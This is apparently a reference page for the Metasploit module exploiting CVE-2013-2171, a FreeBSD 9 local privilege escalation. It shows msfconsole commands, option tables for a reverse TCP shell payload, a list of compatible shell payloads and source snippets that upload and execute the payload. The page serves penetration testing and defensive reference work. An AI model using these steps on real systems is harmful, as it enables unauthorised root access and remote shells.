FreeBSD 9 Address Space Manipulation Privilege Escalation - Metasploit


This page contains detailed information about how to use the exploit/freebsd/local/mmap metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: FreeBSD 9 Address Space Manipulation Privilege Escalation
Module: exploit/freebsd/local/mmap
Source code: modules/exploits/freebsd/local/mmap.rb
Disclosure date: 2013-06-18
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): x86
Supported platform(s): BSD
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2013-2171

This module exploits a vulnerability that can be used to modify portions of a process's address space, which may lead to privilege escalation. Systems such as FreeBSD 9.0 and 9.1 are known to be vulnerable.

Module Ranking and Traits


Module Ranking:

  • great: The exploit has a default target AND either auto-detects the appropriate target or uses an application-specific return address AFTER a version check. More information about ranking can be found here.

Basic Usage


Note: To run a local exploit, make sure you are at the msf prompt. Also, to check the session ID, use the sessions command.

msf > use exploit/freebsd/local/mmap
msf exploit(mmap) > show targets
    ... a list of targets ...
msf exploit(mmap) > set TARGET target-id
msf exploit(mmap) > show options
    ... show and set options ...
msf exploit(mmap) > set SESSION session-id
msf exploit(mmap) > exploit

Required Options


  • SESSION: The session to run this module on.

Go back to menu.

Msfconsole Usage


Here is how the freebsd/local/mmap exploit module looks in the msfconsole:

msf6 > use exploit/freebsd/local/mmap

[*] No payload configured, defaulting to bsd/x86/shell/reverse_tcp
msf6 exploit(freebsd/local/mmap) > show info

       Name: FreeBSD 9 Address Space Manipulation Privilege Escalation
     Module: exploit/freebsd/local/mmap
   Platform: BSD
       Arch: x86
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2013-06-18

Provided by:
  Konstantin Belousov
  Alan Cox
  Hunger
  sinn3r <[email protected]>

Available targets:
  Id  Name
  --  ----
  0   FreeBSD x86

Check supported:
  Yes

Basic options:
  Name         Current Setting  Required  Description
  ----         ---------------  --------  -----------
  SESSION                       yes       The session to run this module on.
  WritableDir  /tmp             yes       A directory where we can write files

Payload information:

Description:
  This module exploits a vulnerability that can be used to modify 
  portions of a process's address space, which may lead to privilege 
  escalation. Systems such as FreeBSD 9.0 and 9.1 are known to be 
  vulnerable.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2013-2171
  OSVDB (94414)
  https://www.exploit-db.com/exploits/26368
  http://www.securityfocus.com/bid/60615
  http://www.freebsd.org/security/advisories/FreeBSD-SA-13:06.mmap.asc

Module Options


This is a complete list of options available in the freebsd/local/mmap exploit:

msf6 exploit(freebsd/local/mmap) > show options

Module options (exploit/freebsd/local/mmap):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   SESSION                       yes       The session to run this module on.
   WritableDir  /tmp             yes       A directory where we can write files

Payload options (bsd/x86/shell/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.204.3    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   FreeBSD x86

Advanced Options


Here is a complete list of advanced options supported by the freebsd/local/mmap exploit:

msf6 exploit(freebsd/local/mmap) > show advanced

Module advanced options (exploit/freebsd/local/mmap):

   Name                    Current Setting  Required  Description
   ----                    ---------------  --------  -----------
   ContextInformationFile                   no        The information file that contains context information
   DisablePayloadHandler   false            no        Disable the handler code for the selected payload
   EXE::Custom                              no        Use custom exe instead of automatically generating a payload exe
   EXE::EICAR              false            no        Generate an EICAR file instead of regular payload exe
   EXE::FallBack           false            no        Use the default template in case the specified one is missing
   EXE::Inject             false            no        Set to preserve the original EXE function
   EXE::OldMethod          false            no        Set to use the substitution EXE generation method.
   EXE::Path                                no        The directory in which to look for the executable template
   EXE::Template                            no        The executable template file name.
   EnableContextEncoding   false            no        Use transient context when encoding payloads
   FileDropperDelay                         no        Delay in seconds before attempting cleanup
   MSI::Custom                              no        Use custom msi instead of automatically generating a payload msi
   MSI::EICAR              false            no        Generate an EICAR file instead of regular payload msi
   MSI::Path                                no        The directory in which to look for the msi template
   MSI::Template                            no        The msi template file name
   MSI::UAC                false            no        Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
   VERBOSE                 false            no        Enable detailed status messages
   WORKSPACE                                no        Specify the workspace for this module
   WfsDelay                2                no        Additional delay in seconds to wait for a session

Payload advanced options (bsd/x86/shell/reverse_tcp):

   Name                        Current Setting  Required  Description
   ----                        ---------------  --------  -----------
   AutoRunScript                                no        A script to run automatically on session creation.
   AutoVerifySession           true             yes       Automatically verify and drop invalid sessions
   CommandShellCleanupCommand                   no        A command to run before the session is closed
   CreateSession               true             no        Create a new session for every successful login
   EnableStageEncoding         false            no        Encode the second stage payload
   InitialAutoRunScript                         no        An initial script to run on session creation (before AutoRunScript)
   PayloadUUIDName                              no        A human-friendly name to reference this unique payload (requires tracking)
   PayloadUUIDRaw                               no        A hex string representing the raw 8-byte PUID value for the UUID
   PayloadUUIDSeed                              no        A string to use when generating the payload UUID (deterministic)
   PayloadUUIDTracking         false            yes       Whether or not to automatically register generated UUIDs
   PingbackRetries             0                yes       How many additional successful pingbacks
   PingbackSleep               30               yes       Time (in seconds) to sleep between pingbacks
   ReverseAllowProxy           false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                   no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                      no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                          no        The specific communication channel to use for this listener
   ReverseListenerThreaded     false            yes       Handle every connection in a new thread (experimental)
   StageEncoder                                 no        Encoder to use if EnableStageEncoding is set
   StageEncoderSaveRegisters                    no        Additional registers to preserve in the staged payload if EnableStageEncoding is set
   StageEncodingFallback       true             no        Fallback to no encoding if the selected StageEncoder is not compatible
   StagerRetryCount            10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait             5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                     false            no        Enable detailed status messages
   WORKSPACE                                    no        Specify the workspace for this module

Exploit Targets


Here is a list of targets (platforms and systems) which the freebsd/local/mmap module can exploit:

msf6 exploit(freebsd/local/mmap) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   FreeBSD x86

Compatible Payloads


This is a list of possible payloads which can be delivered and executed on the target system using the freebsd/local/mmap exploit:

msf6 exploit(freebsd/local/mmap) > show payloads

Compatible Payloads
===================

   #   Name                                    Disclosure Date  Rank    Check  Description
   -   ----                                    ---------------  ----    -----  -----------
   0   payload/bsd/x86/exec                                     normal  No     BSD Execute Command
   1   payload/bsd/x86/metsvc_bind_tcp                          normal  No     FreeBSD Meterpreter Service, Bind TCP
   2   payload/bsd/x86/metsvc_reverse_tcp                       normal  No     FreeBSD Meterpreter Service, Reverse TCP Inline
   3   payload/bsd/x86/shell/bind_ipv6_tcp                      normal  No     BSD Command Shell, Bind TCP Stager (IPv6)
   4   payload/bsd/x86/shell/bind_tcp                           normal  No     BSD Command Shell, Bind TCP Stager
   5   payload/bsd/x86/shell/reverse_ipv6_tcp                   normal  No     BSD Command Shell, Reverse TCP Stager (IPv6)
   6   payload/bsd/x86/shell/reverse_tcp                        normal  No     BSD Command Shell, Reverse TCP Stager
   7   payload/bsd/x86/shell_bind_tcp                           normal  No     BSD Command Shell, Bind TCP Inline
   8   payload/bsd/x86/shell_bind_tcp_ipv6                      normal  No     BSD Command Shell, Bind TCP Inline (IPv6)
   9   payload/bsd/x86/shell_reverse_tcp                        normal  No     BSD Command Shell, Reverse TCP Inline
   10  payload/bsd/x86/shell_reverse_tcp_ipv6                   normal  No     BSD Command Shell, Reverse TCP Inline (IPv6)
   11  payload/bsdi/x86/shell/bind_tcp                          normal  No     BSDi Command Shell, Bind TCP Stager
   12  payload/bsdi/x86/shell/reverse_tcp                       normal  No     BSDi Command Shell, Reverse TCP Stager
   13  payload/bsdi/x86/shell_bind_tcp                          normal  No     BSDi Command Shell, Bind TCP Inline
   14  payload/bsdi/x86/shell_reverse_tcp                       normal  No     BSDi Command Shell, Reverse TCP Inline
   15  payload/generic/custom                                   normal  No     Custom Payload
   16  payload/generic/debug_trap                               normal  No     Generic x86 Debug Trap
   17  payload/generic/shell_bind_tcp                           normal  No     Generic Command Shell, Bind TCP Inline
   18  payload/generic/shell_reverse_tcp                        normal  No     Generic Command Shell, Reverse TCP Inline
   19  payload/generic/tight_loop                               normal  No     Generic x86 Tight Loop

Evasion Options


Here is the full list of possible evasion options supported by the freebsd/local/mmap exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(freebsd/local/mmap) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

WritableDir can't be longer than 33 characters


Here is a relevant code snippet related to the "WritableDir can't be longer than 33 characters" error message:

61:	
62:	  def upload_payload
63:	    fname = datastore['WritableDir']
64:	    fname = "#{fname}/" unless fname =~ %r'/$'
65:	    if fname.length > 36
66:	      fail_with(Failure::BadConfig, "WritableDir can't be longer than 33 characters")
67:	    end
68:	    fname = "#{fname}#{Rex::Text.rand_text_alpha(4)}"
69:	
70:	    p = generate_payload_exe
71:	    write_file(fname, p)

Payload failed to upload


Here is a relevant code snippet related to the "Payload failed to upload" error message:

92:	    fname
93:	  end
94:	
95:	  def exploit
96:	    payload_fname = upload_payload
97:	    fail_with(Failure::NotFound, "Payload failed to upload") if payload_fname.nil?
98:	    print_status("Payload #{payload_fname} uploaded.")
99:	
100:	    exploit_fname = upload_exploit(payload_fname)
101:	    fail_with(Failure::NotFound, "Exploit failed to upload") if exploit_fname.nil?
102:	    print_status("Exploit #{exploit_fname} uploaded.")

Exploit failed to upload


Here is a relevant code snippet related to the "Exploit failed to upload" error message:

96:	    payload_fname = upload_payload
97:	    fail_with(Failure::NotFound, "Payload failed to upload") if payload_fname.nil?
98:	    print_status("Payload #{payload_fname} uploaded.")
99:	
100:	    exploit_fname = upload_exploit(payload_fname)
101:	    fail_with(Failure::NotFound, "Exploit failed to upload") if exploit_fname.nil?
102:	    print_status("Exploit #{exploit_fname} uploaded.")
103:	
104:	    register_files_for_cleanup(payload_fname, exploit_fname)
105:	
106:	    print_status("Executing #{exploit_fname}")

Go back to menu.


References


See Also


Check also the following modules related to this module:

Related Nessus plugins:

Authors


  • Konstantin Belousov
  • Alan Cox
  • Hunger
  • sinn3r

Version


This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.